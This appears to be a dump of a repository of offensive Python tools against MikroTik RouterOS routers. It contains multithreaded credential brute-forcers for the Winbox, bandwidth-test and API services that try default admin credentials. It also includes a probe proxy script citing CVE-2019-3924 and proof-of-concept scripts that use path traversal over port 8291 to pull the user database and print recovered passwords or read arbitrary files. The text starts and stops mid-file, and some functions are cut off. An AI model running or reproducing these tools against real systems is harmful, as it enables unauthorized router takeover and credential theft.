%s %s [OK] [t = %ss]\033[39m' % (host, login, password, duration)) 57 | t.cancel() 58 | terminate_process(process) 59 | return AUTH_GOOD 60 | elif line == b'~Connection\n': 61 | duration = time.time() - start_time 62 | print('[-] %s %s %s [BAD] [t = %ss]' % (host, login, password, duration)) 63 | t.cancel() 64 | terminate_process(process) 65 | return AUTH_BAD 66 | finally: 67 | t.cancel() 68 | 69 | duration = time.time() - start_time 70 | print('[-] %s %s %s [TIMEOUT] [t = %ss]' % (host, login, password, duration)) 71 | return AUTH_ERROR 72 | 73 | def bruteforce(target): 74 | result = [] 75 | for l, p in creds: 76 | print('[*] Trying to connect to target: %s (%s:%s)' % (target, l, p)) 77 | code = open_winbox(target, l, p, timeout) 78 | result.append((target, l, p, code)) 79 | if code == AUTH_GOOD: 80 | if stop_after_good: 81 | return result 82 | if code == AUTH_ERROR: 83 | break 84 | return result 85 | 86 | def read_dictionary(filename): 87 | try: 88 | with open(filename) as f: 89 | dictionary = [d.strip() for d in f.readlines()] 90 | f.close() 91 | return dictionary 92 | except: 93 | return None 94 | 95 | def parse_dictionary(dict): 96 | result = [] 97 | for d in dict: 98 | try: 99 | login, password = d.split('\t') 100 | except: 101 | login = d 102 | password = '' 103 | result.append((login, password)) 104 | return result 105 | 106 | def read_targets(filename): 107 | try: 108 | with open(filename) as f: 109 | targets = [t.strip() for t in f.readlines()] 110 | f.close() 111 | return targets 112 | except: 113 | return None 114 | 115 | if __name__ == '__main__': 116 | results_file_opened = False 117 | 118 | parser = argparse.ArgumentParser(description='description') 119 | parser.add_argument('-d', '--dict', help = 'A dictionary file', required = False) 120 | parser.add_argument('-T', '--targets', help = 'Targets list filename', required = False) 121 | parser.add_argument('-n', '--threads', type = int, help = 'Number of threads for parallel processing', required = False) 122 | parser.add_argument('--timeout', type = int, help = 'Timeout for each winbox instance', required = False) 123 | parser.add_argument('-S', '--stop-after-good', action = 'store_true', help = 'Stop login tries after good creds found for the target', required = False) 124 | parser.add_argument('--log', help = 'Write log file', required = False) 125 | parser.add_argument('--default', action = 'store_true', help = 'Try default credentials at first', required = False) 126 | args = vars(parser.parse_args()) 127 | 128 | if not ((args['dict'] and args['targets']) or (args['default'] and args['targets'])): 129 | print('Please specify a dictionary (-d) (or use --default) and targets file (-T)') 130 | exit(1) 131 | 132 | if args['dict']: 133 | dictfile = args['dict'] 134 | dict = read_dictionary(dictfile) 135 | if dict is None: 136 | print('Error reading the dictionary file: %s' % dictfile) 137 | exit(1) 138 | creds = parse_dictionary(dict) 139 | if args['default']: 140 | creds.insert(0, DEFAULT_CREDS) 141 | 142 | if args['default']: 143 | if not args['dict']: 144 | creds = [DEFAULT_CREDS] 145 | 146 | if args['threads']: 147 | number_of_threads = args['threads'] 148 | 149 | if args['timeout']: 150 | timeout = float(args['timeout']) 151 | 152 | if args['targets']: 153 | targetsfile = args['targets'] 154 | targets = read_targets(targetsfile) 155 | if targets is None: 156 | print('Error reading the targets file: %s' % targetsfile) 157 | exit(1) 158 | targets_count = len(targets) 159 | if targets_count < number_of_threads: 160 | number_of_threads = targets_count 161 | 162 | if args['stop_after_good']: 163 | stop_after_good = True 164 | 165 | if args['log']: 166 | log = True 167 | log_filename = args['log'] 168 | log_file = open(log_filename, 'a') 169 | 170 | print('Timeout: %s' % timeout) 171 | print('[*] Starting with %s threads' % number_of_threads) 172 | pool = Pool(processes = number_of_threads) 173 | results = pool.map(bruteforce, targets) 174 | pool.close() 175 | pool.join() 176 | print('[!] Finishing...') 177 | 178 | print('\nGood results:\n=============') 179 | for r in results: 180 | for e in r: 181 | host, login, password, code = e 182 | if code == AUTH_GOOD: 183 | out = host + ' ' + login + ' ' + password 184 | print(out) 185 | if not results_file_opened: 186 | results_file = open(results_filename, 'a') 187 | results_file_opened = True 188 | results_file.write(out + '\n') 189 | if log: 190 | log_file.write(AUTH_RESULT_CODES[code] + '\t' + host + '\t' + login + '\t' + password + '\n') 191 | 192 | if results_file_opened: 193 | results_file.close() 194 | if log: 195 | log_file.close() 196 | -------------------------------------------------------------------------------- /winbox/useagent2.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | 3 | # https://www.tenable.com/cve/CVE-2019-3924 4 | # https://www.tenable.com/security/research/tra-2019-07 5 | 6 | import argparse, struct, socket, hashlib, time 7 | from binascii import hexlify, unhexlify 8 | from codecs import decode 9 | from winbox import * 10 | 11 | # Resulting error codes 12 | EXIT_OK = 0 13 | EXIT_BAD = 1 14 | EXIT_ERROR = 2 15 | 16 | # Implements some of the /nova/bin/agent probes 17 | class mtAgent(object): 18 | # Connect to the agent 19 | def __init__(self, host, port): 20 | self.request_id = 0 21 | self.error = None 22 | self.error_description = None 23 | self.session = mtTCPSession(host, port) 24 | self.session.connect() 25 | self.result = None 26 | 27 | def clear_error(self): 28 | self.error = None 29 | self.error_description = None 30 | self.result = None 31 | 32 | def do_probe(self, msg): 33 | self.clear_error() 34 | pkt = mtPacket(msg.build()) 35 | self.session.send(pkt) 36 | reply = self.session.recv(1024) 37 | self.result = mtMessage(reply.raw) 38 | self.result.parse() 39 | error = self.result.get_value(0xff0008, MT_DWORD) 40 | if error is not None: 41 | self.error = error 42 | error_description = self.result.get_value(0xff0009, MT_STRING) 43 | if error_description is not None: 44 | self.error_description = error_description 45 | return False 46 | elif self.result.get_value(13, MT_BOOL): 47 | return True 48 | 49 | def tcp_probe(self, host, port, send, receive): 50 | self.request_id += 1 51 | msg = mtMessage() 52 | msg.set_receiver(0x68) 53 | msg.set_command(1) 54 | msg.set_request_id(self.request_id) 55 | msg.set_reply_expected(True) 56 | msg.add_int(3, ip2dword(host)) 57 | msg.add_int(4, port) 58 | if send != b'': 59 | msg.add_string(7, send) 60 | if receive != b'': 61 | msg.add_string(8, receive) 62 | return self.do_probe(msg) 63 | 64 | def udp_probe(self, host, port, send, receive): 65 | self.request_id += 1 66 | msg = mtMessage() 67 | msg.set_receiver(0x68) 68 | msg.set_command(2) 69 | msg.set_request_id(self.request_id) 70 | msg.set_reply_expected(True) 71 | msg.add_int(3, ip2dword(host)) 72 | msg.add_int(4, port) 73 | if send != b'': 74 | msg.add_string(7, send) 75 | if receive != b'': 76 | msg.add_string(8, receive) 77 | return self.do_probe(msg) 78 | 79 | def netbios_probe(self, host): 80 | self.request_id += 1 81 | msg = mtMessage() 82 | msg.set_receiver(0x68) 83 | msg.set_command(3) 84 | msg.set_request_id(self.request_id) 85 | msg.set_reply_expected(True) 86 | msg.add_int(3, ip2dword(host)) 87 | return self.do_probe(msg) 88 | 89 | DEBUG = False 90 | proxy_port = 8291 91 | send = b'' 92 | receive = b'' 93 | udp = False 94 | netbios = False 95 | target_port = 80 96 | 97 | def parse_args(): 98 | parser = argparse.ArgumentParser(description='description') 99 | parser.add_argument('-X', '--proxy-host', help = 'Proxy host to connect to', required = True) 100 | parser.add_argument('-P', '--proxy-port', help = 'Winbox service port of a proxy (default = 8291)', required = False) 101 | parser.add_argument('-t', '--target-host', help = 'Target host IP address for sending a probe', required = True) 102 | parser.add_argument('-p', '--target-port', help = 'Target port to probe for (default = 80)', required = False) 103 | parser.add_argument('-s', '--send', help = 'Request data to send to a target', required = False) 104 | parser.add_argument('-r', '--receive', help = 'Regexp to match the response data', required = False) 105 | parser.add_argument('--send-hex', help = 'Request data to send to a target in hex', required = False) 106 | parser.add_argument('--receive-hex', help = 'Regexp to match the response data in hex', required = False) 107 | parser.add_argument('-u', '--udp', action = 'store_true', help = 'Use UDP probe instead of TCP', required = False) 108 | parser.add_argument('--netbios', action = 'store_true', help = 'Use NetBIOS probe', required = False) 109 | parser.add_argument('--debug', action = 'store_true', help = 'Display the debugging info', required = False) 110 | args = vars(parser.parse_args()) 111 | return args 112 | 113 | if __name__ == '__main__': 114 | args = parse_args() 115 | if args['udp']: 116 | udp = True 117 | if args['netbios']: 118 | if udp: 119 | print('Error: please don''t use both udp and netbios modes') 120 | exit(EXIT_ERROR) 121 | netbios = True 122 | proxy_host = args['proxy_host'] 123 | if args['proxy_port']: 124 | proxy_port = int(args['proxy_port']) 125 | target_host = args['target_host'] 126 | if args['target_port']: 127 | target_port = int(args['target_port']) 128 | if args['send'] and args['send_hex']: 129 | print('Error: use either --send -or --send-hex argument') 130 | exit(EXIT_ERROR) 131 | if args['send']: 132 | send = decode(args['send'], 'unicode_escape').encode() 133 | elif args['send_hex']: 134 | send = unhexlify(args['send_hex']) 135 | if args['receive'] and args['receive_hex']: 136 | print('Error: use either --receive -or --receive-hex argument') 137 | exit(EXIT_ERROR) 138 | if args['receive']: 139 | receive = decode(args['receive'], 'unicode_escape').encode() 140 | elif args['receive_hex']: 141 | receive = unhexlify(args['receive_hex']) 142 | if args['debug']: 143 | DEBUG = True 144 | print('Send:', repr(send), '\nReceive (regex):', repr(receive)) 145 | try: 146 | print('[*] Connecting to the agent %s:%s' % (proxy_host, proxy_port)) 147 | agent = mtAgent(proxy_host, proxy_port) 148 | except: 149 | print('[-] Error connecting to the agent') 150 | exit(EXIT_ERROR) 151 | print('[+] Successfully connected to the agent') 152 | if netbios: 153 | print('[*] Making a netbios probe to %s' % target_host) 154 | result = agent.netbios_probe(target_host) 155 | if result: 156 | print('[+] Netbios probe is OK') 157 | if DEBUG: 158 | agent.result.dump() 159 | exit(EXIT_OK) 160 | else: 161 | print('[-] Netbios probe has failed') 162 | if DEBUG: 163 | agent.result.dump() 164 | exit(EXIT_BAD) 165 | elif udp: 166 | print('[*] Making an UDP probe to %s:%s' % (target_host, target_port)) 167 | result = agent.udp_probe(target_host, target_port, send, receive) 168 | if result: 169 | print('[+] UDP probe is OK') 170 | if DEBUG: 171 | agent.result.dump() 172 | exit(EXIT_OK) 173 | else: 174 | print('[-] UDP probe has failed') 175 | if DEBUG: 176 | agent.result.dump() 177 | exit(EXIT_BAD) 178 | else: 179 | print('[*] Making a TCP probe to %s:%s' % (target_host, target_port)) 180 | result = agent.tcp_probe(target_host, target_port, send, receive) 181 | if result: 182 | print('[+] TCP probe is OK') 183 | if DEBUG: 184 | agent.result.dump() 185 | exit(EXIT_OK) 186 | else: 187 | print('[-] TCP probe has failed') 188 | if DEBUG: 189 | agent.result.dump() 190 | exit(EXIT_BAD) 191 | -------------------------------------------------------------------------------- /btest-brute.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | 3 | import socket 4 | import hashlib 5 | import argparse 6 | import signal 7 | from multiprocessing import Pool 8 | 9 | # Global constants (bandwidth-test protocol patterns) 10 | BW_OK = b'\x01\x00\x00\x00' 11 | BW_SALT = b'\x02\x00\x00\x00' 12 | BW_FAIL = b'\x00\x00\x00\x00' 13 | BW_CMD = b'\x00\x01\x01\x00\xdc\x05\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00' 14 | 15 | # Authorization result codes 16 | AUTH_GOOD = 0 17 | AUTH_BAD = 1 18 | AUTH_ERROR = 2 19 | AUTH_NONE = 3 20 | AUTH_RESULT_CODES = ["GOOD", "BAD", "ERROR", "NOAUTH"] 21 | TIMEOUT = 5 22 | DEFAULT_CREDS = ('admin', '') 23 | 24 | # Global variables 25 | targets = [] 26 | creds = [] 27 | number_of_threads = 10 28 | stop_after_good = False 29 | log = False 30 | btest_port = 2000 31 | 32 | # File name for good results 33 | results_filename = 'btest-brute.log' 34 | 35 | # Return MD5(password + MD5(password + salt)) 36 | def auth_digest(password, salt): 37 | md1 = hashlib.md5() 38 | md1.update(password.encode('UTF-8') + salt) 39 | digest1 = md1.digest() 40 | 41 | md2 = hashlib.md5() 42 | md2.update(password.encode('UTF-8') + digest1) 43 | return md2.digest() 44 | 45 | # Prepare authentication packet 46 | def auth_data(user, password, salt): 47 | auth = auth_digest(password, salt) 48 | result = auth + user.encode('UTF-8') 49 | fill = 48 - len(result) 50 | result += b'\x00' * fill 51 | return result 52 | 53 | # Authenticate to the remote bandwidth-test server 54 | def do_auth(host, user, password): 55 | result = AUTH_ERROR 56 | s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) 57 | s.settimeout(TIMEOUT) 58 | try: 59 | s.connect((host, btest_port)) 60 | except: 61 | print('[-] %s %s %s [CONNECT_ERROR]' % (host, user, password)) 62 | s.close() 63 | return AUTH_ERROR 64 | 65 | try: 66 | read = s.recv(512) 67 | except: 68 | print('[-] %s %s %s [HELLO_READ_ERROR]' % (host, user, password)) 69 | s.close() 70 | return AUTH_ERROR 71 | 72 | if read == BW_OK: 73 | try: 74 | s.send(BW_CMD) 75 | except: 76 | print('[-] %s %s %s [COMMAND_SEND_ERROR]' % (host, user, password)) 77 | s.close() 78 | return AUTH_ERROR 79 | try: 80 | read = s.recv(512) 81 | except: 82 | print('[-] %s %s %s [RESPONSE_READ_ERROR]' % (host, user, password)) 83 | s.close() 84 | return AUTH_ERROR 85 | if len(read) == 4: 86 | if read == BW_OK: 87 | print('[+] %s %s %s [AUTH_NONE]' % (host, user, password)) 88 | result = AUTH_NONE 89 | elif len(read) == 20: 90 | if read[0:4] == BW_SALT: 91 | salt = read[4:20] 92 | auth = auth_data(user, password, salt) 93 | try: 94 | s.send(auth) 95 | except: 96 | print('[-] %s %s %s [AUTH_SEND_ERROR]' % (host, user, password)) 97 | s.close() 98 | return AUTH_ERROR 99 | try: 100 | read = s.recv(512) 101 | except: 102 | print('[-] %s %s %s [AUTH_RESPONSE_ERROR]' % (host, user, password)) 103 | s.close() 104 | return AUTH_ERROR 105 | if read == BW_FAIL: 106 | print('[-] %s %s %s [BAD]' % (host, user, password)) 107 | result = AUTH_BAD 108 | elif read == BW_OK: 109 | print('\033[32m[+] %s %s %s [GOOD]\033[39m' % (host, user, password)) 110 | result = AUTH_GOOD 111 | else: 112 | print('[-] %s %s %s [AUTH_UNKNOWN_CODE]' % (host, user, password)) 113 | result = AUTH_ERROR 114 | else: 115 | print('[-] %s %s %s [RESPONSE_BAD_LENGTH]' % (host, user, password)) 116 | result = AUTH_ERROR 117 | else: 118 | print('[-] %s %s %s [OTHER_ERROR]' % (host, user, password)) 119 | result = AUTH_ERROR 120 | s.close() 121 | return result 122 | 123 | def bruteforce(target): 124 | result = [] 125 | for l, p in creds: 126 | print('[*] Trying to connect to target: %s:%s (%s:%s)' % (target, btest_port, l, p)) 127 | code = do_auth(target, l, p) 128 | result.append((target, l, p, code)) 129 | if code == AUTH_GOOD: 130 | if stop_after_good: 131 | return result 132 | elif code == AUTH_ERROR or code == AUTH_NONE: 133 | break 134 | return result 135 | 136 | def read_dictionary(filename): 137 | try: 138 | with open(filename) as f: 139 | dictionary = [d.strip() for d in f.readlines()] 140 | f.close() 141 | return dictionary 142 | except: 143 | return None 144 | 145 | def parse_dictionary(dict): 146 | result = [] 147 | for d in dict: 148 | # login, password = d.split(':') 149 | try: 150 | login, password = d.split('\t') 151 | except: 152 | login = d 153 | password = '' 154 | result.append((login, password)) 155 | return result 156 | 157 | def read_targets(filename): 158 | try: 159 | with open(filename) as f: 160 | targets = [t.strip() for t in f.readlines()] 161 | f.close() 162 | return targets 163 | except: 164 | return None 165 | 166 | if __name__ == '__main__': 167 | results_file_opened = False 168 | 169 | parser = argparse.ArgumentParser(description='description') 170 | parser.add_argument('-d', '--dict', help = 'A dictionary file', required = False) 171 | parser.add_argument('-t', '--target', help = 'Target hostname', required = False) 172 | parser.add_argument('-p', '--port', help = 'Bandwidth-test port', required = False) 173 | parser.add_argument('-T', '--targets', help = 'Targets list filename', required = False) 174 | parser.add_argument('-n', '--threads', type = int, help = 'Number of threads for parallel processing', required = False) 175 | parser.add_argument('-S', '--stop-after-good', action = 'store_true', help = 'Stop login tries after good creds found for the target', required = False) 176 | parser.add_argument('--log', help = 'Write log file', required = False) 177 | parser.add_argument('--default', action = 'store_true', help = 'Try default credentials at first', required = False) 178 | args = vars(parser.parse_args()) 179 | 180 | if not ((args['target'] or args['targets']) and (args['dict'] or args['default'])): 181 | print('Please specify --target/-t or --targets/-T to scan, and --dict/-d and/or --default options') 182 | exit(1) 183 | 184 | if args['dict']: 185 | dictfile = args['dict'] 186 | dict = read_dictionary(dictfile) 187 | if dict is None: 188 | print('Error reading the dictionary file: %s' % dictfile) 189 | exit(1) 190 | creds = parse_dictionary(dict) 191 | if args['default']: 192 | creds.insert(0, DEFAULT_CREDS) 193 | 194 | if args['default']: 195 | if not args['dict']: 196 | creds = [DEFAULT_CREDS] 197 | 198 | if args['threads']: 199 | number_of_threads = args['threads'] 200 | 201 | if args['port']: 202 | btest_port = int(args['port']) 203 | 204 | if args['target'] and args['targets']: 205 | print('Please specify --target/-t or --targets/-T , but not both') 206 | exit(1) 207 | elif args['target']: 208 | targets.append(args['target']) 209 | number_of_threads = 1 210 | else: 211 | targetsfile = args['targets'] 212 | targets = read_targets(targetsfile) 213 | if targets is None: 214 | print('Error reading the targets file: %s' % targetsfile) 215 | exit(1) 216 | targets_count = len(targets) 217 | if targets_count < number_of_threads: 218 | number_of_threads = targets_count 219 | 220 | if args['stop_after_good']: 221 | stop_after_good = True 222 | 223 | if args['log']: 224 | log = True 225 | log_filename = args['log'] 226 | log_file = open(log_filename, 'a') 227 | 228 | print('[*] Starting with %s threads' % number_of_threads) 229 | pool = Pool(processes = number_of_threads) 230 | results = pool.map(bruteforce, targets) 231 | pool.close() 232 | pool.join() 233 | print('[!] Finishing...') 234 | 235 | print('\nGood results:\n=============') 236 | for r in results: 237 | for e in r: 238 | host, login, password, code = e 239 | if code == AUTH_GOOD: 240 | # out = host + ' ' + login + ' ' + password 241 | out = host + '\t' + login + '\t' + password 242 | print(out) 243 | if not results_file_opened: 244 | results_file = open(results_filename, 'a') 245 | results_file_opened = True 246 | results_file.write(out + '\n') 247 | if log: 248 | log_file.write(AUTH_RESULT_CODES[code] + '\t' + host + '\t' + login + '\t' + password + '\n') 249 | 250 | if results_file_opened: 251 | results_file.close() 252 | if log: 253 | log_file.close() 254 | -------------------------------------------------------------------------------- /poc/getuserdat.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | 3 | import binascii, struct, socket, sys, hashlib 4 | 5 | TIMEOUT = 10 6 | 7 | # Packet headers 8 | M2_HEADER = b'\x4d\x32' 9 | M2_EXTRA = b'\x01\x00' 10 | 11 | # Winbox protocol types 12 | MT_BOOL = 0x00 13 | MT_BOOL_CODE = {False: 0x00, True: 0x01} 14 | MT_BOOL_VALUE = {0x00: False, 0x01: True} 15 | MT_DWORD = 0x08 16 | MT_BYTE = 0x09 17 | MT_STRING = 0x21 18 | MT_HASH = 0x31 19 | MT_ARRAY = 0x88 20 | 21 | # Add M2 header and sizes to the stream (there's no check if size exceeds one 255) 22 | def m2_header(stream): 23 | size = len(stream) 24 | result = struct.pack('B', size + 4) + M2_EXTRA + struct.pack('B', size + 2) + M2_HEADER + stream 25 | print(binascii.hexlify(result).decode('UTF-8')) 26 | return result 27 | 28 | # Return an array of M2 blocks, each cointaining an array of tuples like (code, type, value) 29 | def m2_parse(stream): 30 | result = [] 31 | 32 | pointer = 0 33 | stream_size = len(stream) 34 | 35 | while pointer < stream_size: 36 | keywords = [] 37 | 38 | header_block_size = ord(stream[pointer:pointer+1]) 39 | pointer += 1 40 | if stream[pointer:pointer+2] != M2_EXTRA: 41 | return None 42 | pointer += 2 43 | m2_block_size = ord(stream[pointer:pointer+1]) 44 | pointer += 1 45 | if stream[pointer:pointer+2] != M2_HEADER: 46 | print('Not a M2 block') 47 | return None 48 | if header_block_size != (m2_block_size + 2): 49 | print('M2 header and block sizes mismatch!') 50 | return None 51 | pointer += 2 52 | 53 | block_data_start = pointer 54 | 55 | while pointer < (block_data_start + m2_block_size - 2): 56 | # Configuration ID, or keyword_code, is always 3 bytes long 57 | keyword_code = struct.unpack('' % sys.argv[0]) 212 | exit(0) 213 | 214 | host = sys.argv[1] 215 | 216 | s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) 217 | s.settimeout(TIMEOUT) 218 | try: 219 | s.connect((host, 8291)) 220 | except: 221 | print('[-] ERROR connecting to %s' % host) 222 | s.close() 223 | exit(1) 224 | 225 | p1 = mt_freq_01('./.././.././.././.././../rw/store/user.dat') 226 | try: 227 | print('[*] Sending the 1st packet to %s...' % host) 228 | s.send(p1) 229 | except: 230 | print('[-] ERROR sending the 1st packet to %s' % host) 231 | s.close() 232 | exit(1) 233 | try: 234 | print('[*] Reading the response to the 1st packet from %s...' % host) 235 | read = s.recv(1024) 236 | except: 237 | print('[-] ERROR reading response to the 1st packet from %s' % host) 238 | s.close() 239 | exit(1) 240 | 241 | #print(binascii.hexlify(read).decode('UTF-8')) 242 | fsize = mt_get_fsize(read) 243 | if fsize is None: 244 | print('[-] ERROR reading user database file size from %s' % host) 245 | s.close() 246 | exit(1) 247 | 248 | #print(fsize) 249 | sid = mt_get_sid(read) 250 | if sid is None: 251 | print('[-] ERROR reading session id from %s' % host) 252 | s.close() 253 | exit(1) 254 | p2 = mt_freq_02(sid) 255 | try: 256 | print('[*] Sending the 2nd packet to %s...' % host) 257 | s.send(p2) 258 | except: 259 | print('[-] ERROR sending the 2nd packet to %s' % host) 260 | s.close() 261 | exit(1) 262 | try: 263 | print('[*] Reading the response to the 2nd packet from %s...' % host) 264 | read = s.recv(fsize + 128) 265 | except: 266 | print('[-] ERROR reading response to the 2nd packet from %s' % host) 267 | s.close() 268 | exit(1) 269 | #print(binascii.hexlify(read).decode('UTF-8')) 270 | skip = len(read) - fsize - 2 271 | user_dat = read[skip:] 272 | user_pass = get_pair(user_dat) 273 | for u, p in user_pass: 274 | print("%s\t%s\t%s" % (host, u, p)) 275 | s.close() 276 | -------------------------------------------------------------------------------- /poc/getfile.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | 3 | import binascii, struct, socket, sys, hashlib 4 | 5 | TIMEOUT = 10 6 | 7 | # Packet headers 8 | M2_HEADER = b'\x4d\x32' 9 | M2_EXTRA = b'\x01\x00' 10 | 11 | ESCAPE_SEQUENCE = './.././.././.././.././..' 12 | 13 | # Winbox protocol types 14 | MT_BOOL = 0x00 15 | MT_BOOL_CODE = {False: 0x00, True: 0x01} 16 | MT_BOOL_VALUE = {0x00: False, 0x01: True} 17 | MT_DWORD = 0x08 18 | MT_BYTE = 0x09 19 | MT_STRING = 0x21 20 | MT_HASH = 0x31 21 | MT_ARRAY = 0x88 22 | MT_USERDATA = 0xA8 23 | 24 | # Add M2 header and sizes to the stream (there's no check if size exceeds one 255) 25 | def m2_header(stream): 26 | size = len(stream) 27 | return struct.pack('B', size + 4) + M2_EXTRA + struct.pack('B', size + 2) + M2_HEADER + stream 28 | 29 | # Return an array of M2 blocks, each cointaining an array of tuples like (code, type, value) 30 | def m2_parse(stream): 31 | result = [] 32 | 33 | pointer = 0 34 | stream_size = len(stream) 35 | 36 | while pointer < stream_size: 37 | keywords = [] 38 | 39 | header_block_size = ord(stream[pointer:pointer+1]) 40 | pointer += 1 41 | if stream[pointer:pointer+2] != M2_EXTRA: 42 | return None 43 | pointer += 2 44 | m2_block_size = ord(stream[pointer:pointer+1]) 45 | pointer += 1 46 | if stream[pointer:pointer+2] != M2_HEADER: 47 | print('Not a M2 block') 48 | return None 49 | if header_block_size != (m2_block_size + 2): 50 | print('M2 header and block sizes mismatch!') 51 | return None 52 | pointer += 2 53 | 54 | block_data_start = pointer 55 | 56 | while pointer < (block_data_start + m2_block_size - 2): 57 | # Configuration ID, or keyword_code, is always 3 bytes long 58 | keyword_code = struct.unpack(' ' % sys.argv[0]) 218 | exit(0) 219 | 220 | host = sys.argv[1] 221 | path_file = sys.argv[2] 222 | file = path_file.split('/')[-1] 223 | 224 | s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) 225 | s.settimeout(TIMEOUT) 226 | try: 227 | s.connect((host, 8291)) 228 | except: 229 | print('[-] ERROR connecting to %s' % host) 230 | s.close() 231 | exit(1) 232 | 233 | p1 = mt_freq_01(ESCAPE_SEQUENCE + path_file) 234 | try: 235 | print('[*] Sending the 1st packet to %s...' % host) 236 | s.send(p1) 237 | except: 238 | print('[-] ERROR sending the 1st packet to %s' % host) 239 | s.close() 240 | exit(1) 241 | try: 242 | print('[*] Reading the response to the 1st packet from %s...' % host) 243 | read = s.recv(1024) 244 | except: 245 | print('[-] ERROR reading response to the 1st packet from %s' % host) 246 | s.close() 247 | exit(1) 248 | 249 | print(binascii.hexlify(read).decode('UTF-8')) 250 | fsize = mt_get_fsize(read) 251 | if fsize is None: 252 | print('[-] ERROR reading file %s size from %s' % (path_file, host)) 253 | s.close() 254 | exit(1) 255 | 256 | print(file, 'size is', fsize) 257 | sid = mt_get_sid(read) 258 | if sid is None: 259 | print('[-] ERROR reading session id from %s' % host) 260 | s.close() 261 | exit(1) 262 | p2 = mt_freq_02(sid) 263 | try: 264 | print('[*] Sending the 2nd packet to %s...' % host) 265 | s.send(p2) 266 | except: 267 | print('[-] ERROR sending the 2nd packet to %s' % host) 268 | s.close() 269 | exit(1) 270 | try: 271 | print('[*] Reading the response to the 2nd packet from %s...' % host) 272 | read = s.recv(fsize + 128) 273 | except: 274 | print('[-] ERROR reading response to the 2nd packet from %s' % host) 275 | s.close() 276 | exit(1) 277 | print(binascii.hexlify(read).decode('UTF-8')) 278 | skip = len(read) - fsize - 2 279 | output = open(file, 'wb') 280 | data = read[skip:] 281 | output.write(data) 282 | print(binascii.hexlify(data).decode('UTF-8')) 283 | 284 | parsed_data = m2_parse(data) 285 | print(parsed_data) 286 | 287 | output.close() 288 | s.close() 289 | -------------------------------------------------------------------------------- /brute/api-brute.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | 3 | import socket, hashlib, argparse, signal, sys, binascii 4 | from multiprocessing import Pool 5 | 6 | # Authorization result codes 7 | AUTH_GOOD = 0 8 | AUTH_BAD = 1 9 | AUTH_ERROR = 2 10 | AUTH_RESULT_CODES = ['GOOD', 'BAD', 'ERROR'] 11 | TIMEOUT = 5 12 | DEFAULT_CREDS = ('admin', '') 13 | 14 | # Global variables 15 | targets = [] 16 | creds = [] 17 | number_of_threads = 10 18 | stop_after_good = False 19 | log = False 20 | api_port = 8728 21 | 22 | # File name for good results 23 | results_filename = 'api-brute.log' 24 | 25 | class ApiRos: 26 | "Routeros api" 27 | def __init__(self, sk): 28 | self.sk = sk 29 | self.currenttag = 0 30 | 31 | def login(self, username, pwd): 32 | for repl, attrs in self.talk(["/login", "=name=" + username, "=password=" + pwd]): 33 | if repl == '!trap': 34 | return False 35 | elif '=ret' in attrs.keys(): 36 | chal = binascii.unhexlify((attrs['=ret']).encode('UTF-8')) 37 | md = hashlib.md5() 38 | md.update(b'\x00') 39 | md.update(pwd.encode('UTF-8')) 40 | md.update(chal) 41 | for repl2, attrs2 in self.talk(["/login", "=name=" + username, "=response=00" + binascii.hexlify(md.digest()).decode('UTF-8')]): 42 | if repl2 == '!trap': 43 | return False 44 | return True 45 | 46 | def talk(self, words): 47 | if self.writeSentence(words) == 0: return 48 | r = [] 49 | while 1: 50 | i = self.readSentence(); 51 | if len(i) == 0: continue 52 | reply = i[0] 53 | attrs = {} 54 | for w in i[1:]: 55 | j = w.find('=', 1) 56 | if (j == -1): 57 | attrs[w] = '' 58 | else: 59 | attrs[w[:j]] = w[j+1:] 60 | r.append((reply, attrs)) 61 | if reply == '!done': return r 62 | 63 | def writeSentence(self, words): 64 | ret = 0 65 | for w in words: 66 | self.writeWord(w) 67 | ret += 1 68 | self.writeWord('') 69 | return ret 70 | 71 | def readSentence(self): 72 | r = [] 73 | while 1: 74 | w = self.readWord() 75 | if w == '': return r 76 | r.append(w) 77 | 78 | def writeWord(self, w): 79 | #print(("<<< " + w)) 80 | self.writeLen(len(w)) 81 | self.writeStr(w) 82 | 83 | def readWord(self): 84 | ret = self.readStr(self.readLen()) 85 | #print((">>> " + ret)) 86 | return ret 87 | 88 | def writeLen(self, l): 89 | if l < 0x80: 90 | self.writeByte((l).to_bytes(1, sys.byteorder)) 91 | elif l < 0x4000: 92 | l |= 0x8000 93 | tmp = (l >> 8) & 0xFF 94 | self.writeByte(((l >> 8) & 0xFF).to_bytes(1, sys.byteorder)) 95 | self.writeByte((l & 0xFF).to_bytes(1, sys.byteorder)) 96 | elif l < 0x200000: 97 | l |= 0xC00000 98 | self.writeByte(((l >> 16) & 0xFF).to_bytes(1, sys.byteorder)) 99 | self.writeByte(((l >> 8) & 0xFF).to_bytes(1, sys.byteorder)) 100 | self.writeByte((l & 0xFF).to_bytes(1, sys.byteorder)) 101 | elif l < 0x10000000: 102 | l |= 0xE0000000 103 | self.writeByte(((l >> 24) & 0xFF).to_bytes(1, sys.byteorder)) 104 | self.writeByte(((l >> 16) & 0xFF).to_bytes(1, sys.byteorder)) 105 | self.writeByte(((l >> 8) & 0xFF).to_bytes(1, sys.byteorder)) 106 | self.writeByte((l & 0xFF).to_bytes(1, sys.byteorder)) 107 | else: 108 | self.writeByte((0xF0).to_bytes(1, sys.byteorder)) 109 | self.writeByte(((l >> 24) & 0xFF).to_bytes(1, sys.byteorder)) 110 | self.writeByte(((l >> 16) & 0xFF).to_bytes(1, sys.byteorder)) 111 | self.writeByte(((l >> 8) & 0xFF).to_bytes(1, sys.byteorder)) 112 | self.writeByte((l & 0xFF).to_bytes(1, sys.byteorder)) 113 | 114 | def readLen(self): 115 | c = ord(self.readStr(1)) 116 | if (c & 0x80) == 0x00: 117 | pass 118 | elif (c & 0xC0) == 0x80: 119 | c &= ~0xC0 120 | c <<= 8 121 | c += ord(self.readStr(1)) 122 | elif (c & 0xE0) == 0xC0: 123 | c &= ~0xE0 124 | c <<= 8 125 | c += ord(self.readStr(1)) 126 | c <<= 8 127 | c += ord(self.readStr(1)) 128 | elif (c & 0xF0) == 0xE0: 129 | c &= ~0xF0 130 | c <<= 8 131 | c += ord(self.readStr(1)) 132 | c <<= 8 133 | c += 